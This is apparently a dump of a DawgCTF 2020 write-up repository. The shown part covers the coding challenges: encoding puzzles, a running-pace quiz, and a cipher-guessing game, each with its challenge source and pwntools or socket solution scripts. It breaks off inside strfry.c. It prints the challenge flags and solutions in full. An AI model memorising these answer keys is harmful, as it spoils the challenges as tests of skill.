├── README.md ├── coding ├── arthurashesolver.py ├── babyonion │ ├── README.md │ ├── baby.onion.zip │ ├── flag.txt │ ├── make_a_baby_onion.py │ ├── solution.txt │ └── unmake_a_baby_onion.py ├── miracle_mile │ ├── README.md │ ├── miracle_mile │ ├── miracle_mile.c │ ├── miracle_sol.py │ └── strava.csv ├── spotthediff │ ├── README.md │ ├── diff_sol.py │ └── spotthedifference.py └── strfry │ ├── README.md │ ├── sol.c │ ├── strfry │ ├── strfry.c │ ├── strfry_sol │ └── strfry_sol.py ├── crypto ├── Criss Cross, Criss Cross.py ├── Left Foot Two Stomps.py ├── Left Foot Two Stomps.txt ├── One Hop This Time, One Hop This Time.py ├── README.md ├── Right Foot Two Stomps.py ├── Slide To The Left.py ├── Slide To The Right.py └── Take It Back Now, Y'all.py ├── forensics ├── Impossible Pen Test.md ├── README.md ├── benford-solver.py └── umbc-cyber │ ├── README.md │ └── avatar-cyberdefense-locked.png ├── misc ├── Where did the spaces go? ├── let_her_eat_cake │ ├── README.md │ ├── dateshift.py │ └── dawgctf.html └── toilet_humor_4 │ └── README.md ├── pwn ├── animal_crossing │ ├── README.md │ ├── animal_crossing │ ├── animal_crossing.c │ ├── animal_crossing_remote │ └── animal_crossing_sol.py ├── bof_to_the_top │ ├── README.md │ ├── bof │ ├── bof.c │ ├── bof_sol.py │ └── flag.txt ├── cookie_monster │ ├── README.md │ ├── cookie_monster │ ├── cookie_monster.c │ ├── cookie_sol.py │ └── flag.txt ├── coronacation │ ├── README.md │ ├── corona_sol.py │ ├── coronacation │ ├── coronacation.c │ └── flag.txt ├── nash │ ├── README.md │ ├── flag1.txt │ ├── flag2.txt │ ├── nash │ ├── nash2 │ └── solution.txt ├── onlockdown │ ├── README.md │ ├── flag.txt │ ├── lockdown_sol.py │ ├── onlockdown │ └── onlockdown.c ├── tiktok │ ├── README.md │ ├── WRITEUP.md │ ├── flag.txt │ ├── libc-2.27.so │ ├── pernicious-sol.py │ ├── songs.zip │ ├── tiktok │ ├── tiktok.c │ └── trashcanna_sol.py ├── trASCII │ ├── README.md │ ├── flag.txt │ ├── trASCII │ ├── trASCII.c │ └── trascii_sol.py └── whereweroppinboys │ ├── README.md │ ├── flag.txt │ ├── rop │ ├── rop.c │ └── whereweroppin_sol.py ├── reversing ├── defcon_practice │ ├── README.md │ ├── exploit.pcap │ ├── flag │ ├── gen.py │ ├── racewars │ ├── racewars_sc │ └── racewars_sc.txt ├── elf_in_the_elf │ ├── README.md │ ├── create.py │ ├── elf_in_the_elf_solve │ │ ├── .gdb_history │ │ ├── elfs │ │ ├── out │ │ ├── sol.py │ │ └── tmpout │ ├── elfs.zip │ ├── inner │ ├── inner.o │ ├── inner.py │ ├── template │ └── template.c ├── ocean-boutique │ ├── Makefile │ ├── README.md │ ├── ocean_boutique │ ├── ocean_boutique.c │ └── solve.txt ├── pietREdish.md ├── pietREdish.png ├── pietREsolve.png ├── potentially-eazzzy │ ├── README.md │ ├── potentially-eazzzy.py │ └── solve-potentially-eazzzy.py └── putyathangdown │ ├── README.md │ ├── missyelliott │ ├── missyelliott.c │ ├── sol │ └── sol.c └── web-networking ├── Free WiFi.md ├── README.md ├── lady-is-a-smuggler └── tracking ├── README.md └── dawgctf.html /README.md: -------------------------------------------------------------------------------- 1 | # dawgctf-2020-writeups -------------------------------------------------------------------------------- /coding/arthurashesolver.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | Created on Mon Mar 16 14:46:02 2020 4 | 5 | Success is a journey, not a destination. The doing is often more important than the outcome. - Arthur Ashe 6 | 7 | @author: pleoxconfusa 8 | """ 9 | 10 | 11 | import socket 12 | import binascii 13 | 14 | 15 | flag = "" 16 | 17 | 18 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | 20 | server_address = ('arthurashe.ctf.umbccd.io', 8411) 21 | sock.connect(server_address) 22 | 23 | prompt = sock.recv(1024) 24 | while prompt: 25 | prompt = prompt.decode("utf-8") 26 | 27 | 28 | 29 | if prompt[-1] == '?': 30 | sock.sendall('Y'.encode()) 31 | elif prompt[-1] == '!': 32 | break 33 | elif prompt[-1] == '.': 34 | msg = '' 35 | 36 | score_tuple = prompt.split()[-1][:-1].split('-') 37 | 38 | score = [] 39 | 40 | for index in score_tuple: 41 | if index == 'love': 42 | score.append(0) 43 | elif index == 'game': 44 | score.append(50) 45 | elif index == 'set': 46 | score.append(6) 47 | else: 48 | score.append(int(index)) 49 | 50 | if score[0] > score[1]: 51 | msg = '0' 52 | else: 53 | msg = '1' 54 | 55 | flag += msg 56 | 57 | 58 | sock.sendall(msg.encode()) 59 | 60 | prompt = sock.recv(1024) 61 | 62 | 63 | sock.close() 64 | 65 | print(binascii.unhexlify('%x' % int(flag,2))) 66 | -------------------------------------------------------------------------------- /coding/babyonion/README.md: -------------------------------------------------------------------------------- 1 | # Baby Oniom - coding 150 2 | # Author: Austin Norby Blue Star Software 3 | 4 | unmake_a_baby_onion.py - Solution Script\ 5 | baby.onion - Distributed\ 6 | solution.txt - Solution explanation\ 7 | make_a_baby_onion.py - Generation script, not distributed\ 8 | flag.txt - flag, not distributed 9 | -------------------------------------------------------------------------------- /coding/babyonion/baby.onion.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/coding/babyonion/baby.onion.zip -------------------------------------------------------------------------------- /coding/babyonion/flag.txt: -------------------------------------------------------------------------------- 1 | DawgCTF{b@by_0n10ns_c@n_$t1ll_Mak3_u_cRy!?!?} 2 | -------------------------------------------------------------------------------- /coding/babyonion/make_a_baby_onion.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from base64 import b64encode 3 | import sys 4 | 5 | def main(): 6 | if not (len(sys.argv) > 1 and len(sys.argv) < 3): 7 | print(f"[!] Incorrect usage. { sys.argv[0] } ") 8 | else: 9 | flag = sys.argv[1] 10 | tmp = flag 11 | for i in range(15): 12 | #print(f"tmp: {tmp}") 13 | tmp1 = b64encode(tmp.encode('ascii')) 14 | #print(f"b64 tmp: {tmp1}") 15 | tmp2 = tmp1.hex() 16 | tmp = tmp2 17 | #print(len(tmp)) 18 | print(tmp) 19 | 20 | if __name__ == "__main__": 21 | main() 22 | -------------------------------------------------------------------------------- /coding/babyonion/solution.txt: -------------------------------------------------------------------------------- 1 | #################### 2 | #### Baby Onion #### 3 | #################### 4 | 5 | Solution: 6 | baby.onion is repeatedly base64 encoded and hex encoded over and over (15 times). 7 | To get the flag, decode hex then decode base64, 15 times. In the solution folder 8 | there is an unmake_baby_onion.py that will solve baby.onion to make sure it works. 9 | 10 | Flag: 11 | DawgCTF{b@by_0n10ns_c@n_$t1ll_Mak3_u_cRy!?!?} 12 | 13 | -------------------------------------------------------------------------------- /coding/babyonion/unmake_a_baby_onion.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from base64 import b64decode 3 | import sys 4 | 5 | def main(): 6 | if not (len(sys.argv) > 1 and len(sys.argv) < 3): 7 | print(f"[!] Incorrect usage. { sys.argv[0] } ") 8 | else: 9 | with open(sys.argv[1], 'r') as f: 10 | flag = f.read() 11 | while 'DawgCTF' not in flag: 12 | flag = bytes.fromhex(flag) 13 | flag = b64decode(flag).decode('ascii') 14 | print(f"flag?: {flag}") 15 | 16 | if __name__ == "__main__": 17 | main() 18 | -------------------------------------------------------------------------------- /coding/miracle_mile/README.md: -------------------------------------------------------------------------------- 1 | # Miracle Mile - coding 100 2 | # Author: trashcanna @annatea16 3 | 4 | miracle_sol.py - Solution Script\ 5 | strava.csv - CSV containing all the times used, not distributed\ 6 | miracle_mile.c - Source code, not distributed\ 7 | miracle_mile - Executable, not distributed 8 | -------------------------------------------------------------------------------- /coding/miracle_mile/miracle_mile: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/coding/miracle_mile/miracle_mile -------------------------------------------------------------------------------- /coding/miracle_mile/miracle_mile.c: -------------------------------------------------------------------------------- 1 | // Anna Staats 2 | // December 17, 2019 3 | // DawgCTF BAYUHBEE 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | int timeout(int sol_min, int sol_sec){ 14 | struct pollfd mypoll = { STDIN_FILENO, POLLIN|POLLPRI }; 15 | char k[11]; 16 | int try_min, try_sec; 17 | if(poll(&mypoll, 1, 3000)){ 18 | scanf("%10s", k); 19 | try_min = atoi(strtok(k, ":")); 20 | if(try_min){ 21 | try_sec = atoi(strtok(NULL, ":")); 22 | }else{ 23 | return 0; 24 | } 25 | if(try_min == sol_min && try_sec == sol_sec){ 26 | return 1; 27 | }else{ 28 | return 0; 29 | } 30 | } 31 | return 0; 32 | } 33 | 34 | void print_flag(){ 35 | printf("Dang you're pretty quick\nflag: DawgCTF{doe5n't_ruNN1ng_sUcK?!}\n"); 36 | } 37 | 38 | int main(){ 39 | printf("-----------------------------------------\nHi, I'm Anna and I really like running\nI'm too broke to get a gps watch though :(\nThink you can figure out my average pace?\n-----------------------------------------\n"); 40 | FILE* stream = fopen("strava.csv", "r"); 41 | char line[1024]; 42 | int i = 0; 43 | int correct = 1; 44 | while (fgets(line, 1024, stream) && correct){ 45 | char* dist = strtok(line, ","); 46 | char* time = strtok(NULL, ","); 47 | printf("I ran %s in %s What's my pace? \n", dist, time); 48 | int hour = atoi(strtok(time, ":")); 49 | int min = atoi(strtok(NULL, ":")); 50 | int sec = atoi(strtok(NULL, ":")); 51 | double total = (hour*60*60) + (min*60) + sec; 52 | double pace = total/atof(dist); 53 | int sol_min = pace / 60; 54 | int sol_sec = (int)pace % 60; 55 | correct = timeout(sol_min, sol_sec); 56 | i++; 57 | } 58 | if(correct){ 59 | print_flag(); 60 | }else{ 61 | printf("Ha too slow!\n"); 62 | } 63 | return 0; 64 | } 65 | -------------------------------------------------------------------------------- /coding/miracle_mile/miracle_sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #p = process("./miracle_mile") 4 | p = remote("ctf.umbccd.io", 5300) 5 | 6 | print p.recvuntil("-----------------------------------------") 7 | print p.recvuntil("-----------------------------------------") 8 | while(1): 9 | sol = p.recvuntil(" ") 10 | if "Dang" in sol: 11 | break 12 | p.recvuntil(" ") 13 | dist = p.recvuntil(" ") 14 | p.recvuntil("in ") 15 | time = p.recvuntil(" ") 16 | p.recvuntil("? ") 17 | 18 | hour, min, sec = [int(x) for x in time.split(':') if x.strip()] 19 | total = (hour*60*60) + (min*60) + sec 20 | sol_min = int((total/float(dist)) / 60) 21 | sol_sec = int((total/float(dist)) % 60) 22 | 23 | print str(sol_min) + ":" + str(sol_sec) 24 | 25 | p.sendline(str(sol_min) + ":" + str(sol_sec)) 26 | 27 | p.interactive() 28 | -------------------------------------------------------------------------------- /coding/miracle_mile/strava.csv: -------------------------------------------------------------------------------- 1 | 18,2:22:03,1 2 | 11,1:40:13,2 3 | 8,0:53:55,3 4 | 10,1:32:05,4 5 | 10,1:24:00,5 6 | 11,1:51:00,6 7 | 5,0:42:00,7 8 | 16,2:20:00,8 9 | 12,1:55:00,9 10 | 10,1:09:11,10 11 | 10,1:28:00,11 12 | 9,1:19:00,12 13 | 10,1:40:00,13 14 | 5,0:43:00,14 15 | 8,1:00:00,15 16 | 12,1:32:00,16 17 | 10,1:34:00,17 18 | 10,1:35:00,18 19 | 10,1:34:00,19 20 | 5,0:42:00,20 21 | 20,2:35:12,21 22 | 10,1:29:00,22 23 | 10,1:07:49,23 24 | 8,1:12:02,24 25 | 10,1:26:07,25 26 | 14,2:00:00,26 27 | 5,0:45:11,27 28 | 12,1:54:00,28 29 | 18,2:11:36,29 30 | 14,2:00:00,30 31 | 8,1:09:00,31 32 | 8,1:09:00,32 33 | 13,1:53:00,33 34 | 8,1:12:00,34 35 | 5,0:43:00,35 36 | 20,2:34:57,36 37 | 8,1:10:00,37 38 | 15,2:07:00,38 39 | 8,1:12:00,39 40 | 12,1:35:00,40 41 | 6,0:51:00,41 42 | 5,0:42:24,42 43 | 19,2:36:36,43 44 | 13,1:29:16,44 45 | 8,1:09:00,45 46 | 12,1:40:00,46 47 | 8,1:12:00,47 48 | 5,0:42:00,48 49 | 8,1:00:00,49 50 | 5,0:42:00,50 51 | 20,2:49:20,51 52 | 12,1:23:20,52 53 | 12,1:43:00,53 54 | 10,1:18:00,54 55 | 8,1:04:00,55 56 | 8,0:55:36,56 57 | 5,0:39:00,57 58 | 6,0:48:00,58 59 | 16,2:08:00,59 60 | 14,2:00:00,60 61 | 6,0:51:00,61 62 | 11,1:30:00,62 63 | 6,0:49:00,63 64 | 5,0:44:00,64 65 | 16,2:08:00,65 66 | 12,1:40:06,66 67 | 9,1:23:00,67 68 | 8,1:00:00,68 69 | 6,1:00:00,69 70 | 4.8,0:44:00,70 71 | 26.2,3:17:12,71 72 | 10,1:37:00,72 73 | 8,1:10:00,73 74 | 11,1:35:00,74 75 | 4,0:30:00,75 76 | 16,2:20:00,76 77 | 6,0:50:00,77 78 | 10,1:25:00,78 79 | 8,1:00:00,79 80 | 22,3:00:00,80 81 | 10,1:29:00,81 82 | 12,1:34:00,82 83 | 10,1:30:00,83 84 | 8,1:10:00,84 85 | 5,0:38:00,85 86 | 9,1:09:00,86 87 | 20,2:45:00,87 88 | 12,1:26:56,88 89 | 7,1:05:00,89 90 | 13,1:45:00,90 91 | 6,0:50:00,91 92 | 6,0:49:00,92 93 | 5,0:43:00,93 94 | 16,2:08:00,94 95 | 10,1:27:00,95 96 | 8,0:53:52,96 97 | 8,1:09:00,97 98 | 8,1:09:00,98 99 | 6,0:48:00,99 100 | 5,0:40:00,100 101 | 15,1:57:15,101 102 | 12,1:40:00,102 103 | 7,0:49:00,103 104 | 8,1:09:00,104 105 | 5,0:42:00,105 106 | 5,0:42:00,106 107 | 4,0:32:00,107 108 | 26.2,3:30:15,108 109 | 5.8,0:52:00,109 110 | 6,0:57:00,110 111 | 4,0:29:00,111 112 | 8,1:11:00,112 113 | 8,1:18:00,113 114 | 6,1:00:00,114 115 | 5,0:39:00,115 116 | 16,2:07:44,116 117 | 8,1:11:00,117 118 | 14,2:00:00,118 119 | 8,1:09:00,119 120 | 8,1:09:00,120 121 | 6,0:51:00,121 122 | 10,1:10:00,122 123 | 20,2:52:00,123 124 | 8,1:11:00,124 125 | 15,1:49:31,125 126 | 7,1:00:00,126 127 | 12,1:40:00,127 128 | 6,1:00:00,128 129 | 5,0:40:00,129 130 | 18,2:30:00,130 131 | 9,1:17:00,131 132 | 16,2:00:00,132 133 | 12,1:40:23,133 134 | 8,1:15:00,134 135 | 8,1:09:00,135 136 | 5,0:40:00,136 137 | 22,2:49:33,137 138 | 8,1:09:00,138 139 | 12,1:50:00,139 140 | 16,2:00:00,140 141 | 8,1:09:00,141 142 | 2,0:23:00,142 143 | 7,1:00:00,143 144 | 5,0:42:00,144 145 | 18,2:20:00,145 146 | 8,1:10:00,146 147 | 15,2:00:00,147 148 | 8,1:20:00,148 149 | 13,1:49:14,149 150 | 8,1:20:00,150 151 | 5,0:42:00,151 152 | 24,3:20:00,152 153 | 12,1:38:00,153 154 | 12,1:25:18,154 155 | 10,1:22:01,155 156 | 12,1:34:00,156 157 | 8,1:20:00,157 158 | 5,0:41:00,158 159 | 20,2:35:00,159 160 | 8,1:05:00,160 161 | 16,2:02:26,161 162 | 8,1:09:00,162 163 | 11,1:25:00,163 164 | 10,1:25:00,164 165 | 7,1:00:00,165 166 | 16,2:10:00,166 167 | 8,1:09:00,167 168 | 10,1:20:00,168 169 | 6,0:51:00,169 170 | 8,1:00:00,170 171 | 12,1:40:00,171 172 | 5,0:42:00,172 173 | 10,1:21:00,173 174 | 8,1:09:00,174 175 | 5,0:50:00,175 176 | 5,0:42:00,176 177 | 4.8,0:34:24,177 178 | 26.2,3:20:54,178 179 | 6,0:55:00,179 180 | 10,1:28:00,180 181 | 6,0:51:00,181 182 | 10,1:29:00,182 183 | 10,1:27:00,183 184 | 8,1:09:00,184 185 | 14,1:52:00,185 186 | 5,0:44:00,186 187 | 12,1:35:00,187 188 | 12,1:35:00,188 189 | 12,1:44:00,189 190 | 8,1:00:00,190 191 | 11,1:27:00,191 192 | 19,2:30:06,192 193 | 5,0:42:00,193 194 | 12,1:36:00,194 195 | 6,0:52:00,195 196 | 11,1:25:00,196 197 | 12,1:40:00,197 198 | 12,1:41:00,198 199 | 12,1:38:00,199 200 | 17,2:21:23,200 201 | 5,0:41:00,201 202 | 5,0:44:00,202 203 | 8,1:04:00,203 204 | 10,1:27:00,204 205 | 12,1:37:00,205 206 | 8,1:09:00,206 207 | 8,1:00:00,207 208 | 10,1:25:00,208 209 | 12,1:40:00,209 210 | 18,2:23:42,210 211 | 5,0:43:00,211 212 | 12,1:38:00,212 213 | 12,1:30:00,213 214 | 12,1:35:00,214 215 | 11,1:23:00,215 216 | 12,1:39:00,216 217 | 20,2:33:20,217 218 | 5,0:42:00,218 219 | 12,1:38:00,219 220 | 12,1:32:00,220 221 | 12,1:31:00,221 222 | 12,1:27:00,222 223 | 12,1:43:00,223 224 | 23,2:58:15,224 225 | 5,0:42:00,225 226 | 12,1:45:00,226 227 | 6,0:40:12,227 228 | 12,1:42:00,228 229 | 10,1:15:00,229 230 | 8,1:09:00,230 231 | 8,1:09:00,231 232 | 8,1:09:00,232 233 | 5,0:39:00,233 234 | 12,1:40:00,234 235 | 12,1:34:00,235 236 | 12,1:40:00,236 237 | 12,1:30:00,237 238 | 12,1:40:00,238 239 | 21,2:53:00,239 240 | 5,0:42:00,240 241 | 12,1:42:00,241 242 | 12,1:39:00,242 243 | 8,1:00:00,243 244 | 12,1:42:00,244 245 | 5,0:42:00,245 246 | 5,0:43:12,246 247 | 3,0:26:00,247 248 | 9,1:09:00,248 249 | 3,0:25:22,249 250 | 4,0:29:44,250 251 | 13,1:34:15,251 252 | 7,1:01:00,252 253 | 6,0:49:07,253 254 | 3,0:26:00,254 255 | 8,1:00:00,255 256 | 7,1:00:00,256 257 | 8,1:01:44,257 258 | 14,1:58:00,258 259 | 8,1:00:00,259 260 | 8,1:08:48,260 261 | 16,2:08:00,261 262 | 13,1:50:00,262 263 | 11,1:16:00,263 264 | 7,1:01:22,264 265 | 6,0:52:00,265 266 | 10,1:24:00,266 267 | 3,0:25:00,267 268 | 10,1:20:00,268 269 | 13,1:44:00,269 270 | 2,0:20:00,270 271 | 5,0:44:00,271 272 | 7,1:00:00,272 273 | 8,1:07:00,273 274 | 11,1:22:00,274 275 | 3,0:26:00,275 276 | 6,0:53:00,276 277 | 10,1:20:00,277 278 | 3,0:26:00,278 279 | 6,0:50:00,279 280 | 7,1:00:00,280 281 | 16,2:22:00,281 282 | 9,1:20:00,282 283 | 5,0:40:00,283 284 | 11,1:26:00,284 285 | 12,1:46:00,285 286 | 12,1:36:00,286 287 | 18,2:38:00,287 288 | 8,1:09:00,288 289 | 10,1:26:00,289 290 | 18,2:21:36,290 291 | 12,1:46:00,291 292 | 12,1:37:00,292 293 | 4,0:34:00,293 294 | 12,1:45:00,294 295 | 12,1:45:00,295 296 | 8,1:00:00,296 297 | 5,0:44:00,297 298 | 16,2:09:00,298 299 | 8,1:09:00,299 300 | 13,1:45:00,300 301 | 4,0:35:00,301 302 | 10,1:29:00,302 303 | 10,1:20:00,303 304 | 10,1:22:00,304 305 | 5,0:42:00,305 306 | 18,2:23:06,306 307 | 8,1:09:00,307 308 | 13,1:40:00,308 309 | 4,0:30:00,309 310 | 8,1:09:00,310 311 | 8,1:09:00,311 312 | 6,0:49:00,312 313 | 10,1:05:17,313 314 | 2,0:17:00,314 315 | 16,2:12:00,315 316 | 10,1:23:00,316 317 | 13,1:30:00,317 318 | 3,0:25:00,318 319 | 10,1:23:00,319 320 | 10,1:18:00,320 321 | 6,0:50:00,321 322 | 3.8,0:24:17,322 323 | 4.2,0:40:00,323 324 | 15,2:00:00,324 325 | 9,1:14:00,325 326 | 12,1:28:48,326 327 | 4,0:34:00,327 328 | 8,1:09:00,328 329 | 8,1:09:00,329 330 | 3.8,0:23:45,330 331 | 4.2,0:38:00,331 332 | 5,0:38:00,332 333 | 18,2:16:48,333 334 | 10,1:27:00,334 335 | 13,1:45:00,335 336 | 4,0:35:00,336 337 | 10,1:22:00,337 338 | 8,1:09:00,338 339 | 3.8,0:23:21,339 340 | 4.2,0:36:00,340 341 | 5,0:42:00,341 342 | 18,2:19:12,342 343 | 10,1:27:00,343 344 | 13,1:40:00,344 345 | 4,0:32:00,345 346 | 9,1:16:00,346 347 | 10,1:27:00,347 348 | 6,0:50:00,348 349 | 5,0:42:00,349 350 | 15,1:51:15,350 351 | 10,1:27:00,351 352 | 12,1:42:00,352 353 | 9,1:17:00,353 354 | 6,0:47:00,354 355 | 5,0:39:00,355 356 | 5,0:40:00,356 357 | 13,1:40:00,357 358 | 8,1:05:00,358 359 | 7,0:54:00,359 360 | 3,0:19:45,360 361 | 6,0:46:00,361 362 | 6,0:45:00,362 363 | 0.89,0:09:00,363 364 | 13.1,1:27:33,364 365 | 6,0:52:00,365 366 | 16,2:04:32,366 367 | 12,1:45:00,367 368 | 10,1:28:00,368 369 | 17,2:12:00,369 370 | 10,1:32:00,370 371 | 9,1:28:00,371 372 | 6,0:50:00,372 373 | 18,2:21:54,373 374 | 12,1:44:00,374 375 | 14,1:55:02,375 376 | 11,1:31:00,376 377 | 10,1:27:00,377 378 | 5,0:42:00,378 379 | 10,1:15:00,379 380 | 20,2:55:00,380 381 | 12,1:42:00,381 382 | 12,1:26:04,382 383 | 12,1:45:00,383 384 | 10,1:27:00,384 385 | 9,1:10:00,385 386 | 5,0:42:00,386 387 | 18,2:20:42,387 388 | 12,1:40:00,388 389 | -------------------------------------------------------------------------------- /coding/spotthediff/README.md: -------------------------------------------------------------------------------- 1 | # Man these spot the difference games are getting hard - coding 250 2 | # Author: trashcanna @annatea16 3 | 4 | diff_sol.py - Solution Script\ 5 | spotthedifference.py - remote script, not distributed 6 | -------------------------------------------------------------------------------- /coding/spotthediff/diff_sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import pycipher 3 | import base64 4 | 5 | if "rem" in sys.argv: 6 | proc = remote("ctf.umbccd.io", 5200) 7 | else: 8 | proc = process(["python", "./spotthedifference.py"]) 9 | 10 | proc.recvuntil("-----------------------------------------------------------------------") 11 | proc.recvuntil("-----------------------------------------------------------------------") 12 | 13 | def trycurlybracelower(enc): 14 | rot13 = string.maketrans( 15 | "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm", 16 | "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz") 17 | dec = string.translate(enc, rot13) 18 | if dec.find("DogeCTF") >= 0: 19 | print "ROT13 found" 20 | print dec 21 | return dec 22 | rot16 = string.maketrans( 23 | "QRSTUVWXYZABCqrstuvwxyzabcDEFGHIJKLMNOPdefghijklmnop", 24 | "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz") 25 | dec = string.translate(enc, rot16) 26 | if dec.find("DogeCTF") >= 0: 27 | print "ROT16 found" 28 | print dec 29 | return dec 30 | print "Fuck it didn\'t work in lowercase" 31 | 32 | def trycurlybraceupper(enc): 33 | dec = pycipher.Atbash().decipher(enc, keep_punct=True) 34 | if("DOGECTF" in dec): 35 | print "Atbash found" 36 | print dec 37 | return dec 38 | dec = pycipher.Affine(9,6).decipher(enc, keep_punct=True) 39 | if("DOGECTF" in dec): 40 | print "Affine found" 41 | print dec 42 | return dec 43 | print "Fuck it didn\'t work in uppercase" 44 | 45 | def tryrailfence(enc): 46 | dec = pycipher.Railfence(3).decipher(enc, keep_punct=True) 47 | if("DOGECTF" in dec): 48 | print "Railfence found" 49 | print dec 50 | return dec 51 | print "Fuck it didn\'t work" 52 | 53 | def dobase64(enc): 54 | print "Base64 found" 55 | dec = base64.b64decode(enc) 56 | print dec 57 | return dec 58 | 59 | def dobase32(enc): 60 | print "Base32 found" 61 | dec = base64.b32decode(enc) 62 | print dec 63 | return dec 64 | 65 | def dobase16(enc): 66 | print "Base16 found" 67 | dec = base64.b16decode(enc) 68 | print dec 69 | return dec 70 | 71 | enc = proc.recvline() 72 | 73 | for i in range(0,100): 74 | enc = proc.recvline() 75 | if "WRONG" in enc: 76 | proc.interactive() 77 | enc = enc.strip() 78 | print enc 79 | print enc[-1] 80 | dec = "" 81 | if enc[1].isupper() & (enc[-1] == "}"): 82 | dec = trycurlybraceupper(enc) 83 | elif enc[-1] == "}": 84 | dec = trycurlybracelower(enc) 85 | elif "}" in enc: 86 | dec = tryrailfence(enc) 87 | elif enc[-2:] == "==": 88 | dec = dobase32(enc) 89 | elif enc[-1] == "=": 90 | dec = dobase64(enc) 91 | else: 92 | dec = dobase16(enc) 93 | proc.sendline(dec) 94 | 95 | proc.interactive() 96 | -------------------------------------------------------------------------------- /coding/spotthediff/spotthedifference.py: -------------------------------------------------------------------------------- 1 | #pip install git+git://github.com/jameslyons/pycipher 2 | 3 | import base64 4 | import random 5 | import string 6 | import pycipher 7 | import signal 8 | TIMEOUT = 5 9 | 10 | print "-----------------------------------------------------------------------" 11 | print "Welcome to DiffSpot, a new Spot the Differnce Game sponsored by DawgSec" 12 | print " You'll be presented with a variety of encoded data, " 13 | print " all of which will be of the form DogeCTF{} " 14 | print "Possible ciphers include:" 15 | print "- rot13" 16 | print "- rot16" 17 | print "- base64" 18 | print "- base32" 19 | print "- base16" 20 | print "- atbash" 21 | print "- affine with b=6, a=9" 22 | print "- railfence with key=3" 23 | print " Your job is to decode the flag and send it back to us " 24 | print " Seems easy enough right? " 25 | print "-----------------------------------------------------------------------" 26 | 27 | flag = "DawgCTF{w@iT_th3y_w3r3_d1ff3rent?!}" 28 | 29 | def input(): 30 | signal.alarm(TIMEOUT) 31 | foo = raw_input() 32 | signal.alarm(0) 33 | return foo 34 | 35 | def rot13(cleartext): 36 | rot13 = string.maketrans( 37 | "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", 38 | "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm") 39 | print string.translate(cleartext, rot13) 40 | 41 | def rot16(cleartext): 42 | rot16 = string.maketrans( 43 | "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", 44 | "QRSTUVWXYZABCqrstuvwxyzabcDEFGHIJKLMNOPdefghijklmnop") 45 | print string.translate(cleartext, rot16) 46 | 47 | def dobase64(cleartext): 48 | print base64.b64encode(cleartext) 49 | 50 | def dobase16(cleartext): 51 | print base64.b16encode(cleartext) 52 | 53 | def dobase32(cleartext): 54 | print base64.b32encode(cleartext) 55 | 56 | def doatbash(cleartext): 57 | print pycipher.Atbash().encipher(cleartext, keep_punct=True) 58 | 59 | def doaffine(cleartext): 60 | print pycipher.Affine(9,6).encipher(cleartext, keep_punct=True) 61 | 62 | def dorailfence(cleartext): 63 | print pycipher.Railfence(3).encipher(cleartext, keep_punct=True) 64 | 65 | correct = 1 66 | 67 | for i in range(0, 100): 68 | str = "DogeCTF{" 69 | str += ''.join([random.choice(string.ascii_letters) for n in xrange(32)]) 70 | str += "}" 71 | choice = random.randint(1, 8) 72 | if choice == 1: 73 | rot13(str) 74 | if choice == 2: 75 | rot16(str) 76 | if choice == 3: 77 | dobase64(str) 78 | if choice == 4: 79 | dobase32(str) 80 | if choice == 5: 81 | str = str.upper() 82 | doatbash(str) 83 | if choice == 6: 84 | str = str.upper() 85 | doaffine(str) 86 | if choice == 7: 87 | str = str.upper() 88 | dorailfence(str) 89 | if choice == 8: 90 | dobase16(str) 91 | user_input = input() 92 | if user_input != str: 93 | print "WRONG USER INPUT:" 94 | print user_input 95 | print "WRONG ORIGINAL STRING:" 96 | print str 97 | correct = 0 98 | break 99 | 100 | if correct == 0: 101 | print "Maybe these are all the same..." 102 | else: 103 | print "Dang you're good, here\'s your flag: " + flag 104 | -------------------------------------------------------------------------------- /coding/strfry/README.md: -------------------------------------------------------------------------------- 1 | # In the Kitchen Wrist Twistin' Like it's Stir Fry - coding 350 2 | # Author: trashcanna @annatea16 3 | 4 | strfry_sol.py - Solution Script\ 5 | strfry_sol - Solution Script\ 6 | sol.c - Solution Script\ 7 | strfry.c - Source code, not distributed\ 8 | strfry - Executable, not distributed 9 | -------------------------------------------------------------------------------- /coding/strfry/sol.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int main(int argc, char** argv){ 8 | static struct random_data rdata; 9 | static char state[32]; 10 | rdata.state = NULL; 11 | initstate_r (atoi(argv[1]) ^ atoi(argv[2]), 12 | state, sizeof (state), &rdata); 13 | while(1){ 14 | char string[50]; 15 | scanf("%s", string); 16 | size_t len = strlen (string); 17 | if (len > 0){ 18 | for (size_t i = 0; i < len - 1; ++i){ 19 | int32_t j; 20 | random_r (&rdata, &j); 21 | j = j % (len - i) + i; 22 | char c = string[i]; 23 | string[i] = string[j]; 24 | string[j] = c; 25 | } 26 | } 27 | printf("%s\n", string); 28 | } 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /coding/strfry/strfry: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/coding/strfry/strfry -------------------------------------------------------------------------------- /coding/strfry/strfry.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int timeout(char* fried){ 9 | struct pollfd 